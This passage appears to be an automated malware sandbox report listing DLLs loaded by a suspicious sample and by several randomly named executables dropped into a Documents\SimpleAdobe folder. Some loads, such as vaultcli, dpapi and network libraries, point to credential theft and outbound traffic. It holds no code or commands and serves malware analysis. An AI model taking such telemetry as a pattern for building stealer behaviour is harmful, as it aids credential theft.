Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: msasn1.dll
